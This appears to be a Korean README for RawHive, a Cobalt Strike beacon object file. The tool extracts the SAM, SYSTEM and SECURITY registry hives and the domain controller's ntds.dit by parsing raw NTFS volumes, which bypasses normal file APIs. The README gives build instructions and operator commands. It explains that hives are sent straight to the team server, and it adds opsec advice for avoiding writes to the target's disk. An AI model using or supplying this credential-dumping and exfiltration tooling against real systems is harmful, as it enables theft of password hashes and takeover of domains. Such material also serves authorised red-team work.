
선택된 Windows 레지스트리 하이브를 원시 NTFS 볼륨에서 직접 추출하는 Cobalt Strike BOF로, NTFS 메타데이터를 파싱하고 디스크에서 직접 파일 데이터를 읽습니다.
RawHive는 원시 NTFS 볼륨에서 선택한 Windows 레지스트리 하이브를 직접 추출하기 위한 Cobalt Strike BOF입니다. 일반적인 파일 API를 건너뛰고, NTFS 메타데이터를 순회하여 대상 파일 레코드를 찾은 뒤 디스크에서 바이트를 직접 읽습니다.
대상:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit (도메인 컨트롤러 전용)로컬 NTFS 드라이브 문자는 모두 사용할 수 있으며, 기본값은 C:입니다.
\\.\C:)을 열고 부트 섹터를 읽어 $MFT를 찾습니다.Windows, System32, config 및 대상 파일의 디렉터리 인덱스를 순회하며, 실패 시 제한된 MFT 스캔을 대체 수단으로 사용합니다.x86_64-w64-mingw32-gcc 및 make.make
dist/rawhive.x64.o를 빌드합니다. rawhive.cna는 dist/에서 오브젝트를 로드하므로, rawhive.c를 변경한 후에는 다시 빌드하십시오.
다운로드 모드가 기본값입니다. 하이브는 원시 볼륨에서 직접 읽혀 BeaconDownload API를 통해 팀 서버로 전송됩니다. 대상의 디스크에는 아무것도 기록되지 않습니다.
rawhive # download C: hives to team server
rawhive D # download D: hives to team server
디스크 쓰기 모드는 대상의 디렉터리에 .tmp 파일을 저장합니다. 이는 디스크에 기록하므로 opsec에 안전하지 않을 수 있습니다. 파일을 로컬에 남겨야 하는 특별한 이유가 없다면 다운로드 모드를 선호하십시오.
rawhive C:\Windows\Temp # write C: hives to disk
rawhive C:\Windows\Temp D # write D: hives to C:\Windows\Temp
볼륨은 C, c, 또는 C:로 표기할 수 있습니다. 출력 디렉터리는 이미 존재해야 합니다.
파일 이름은 <host>_<timestamp>_<hive>.tmp 형식입니다:
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # DCs only
다운로드 모드에서는 Cobalt Strike의 다운로드 트레이에 나타나며, 디스크 쓰기 모드에서는 지정된 출력 디렉터리에 저장됩니다.
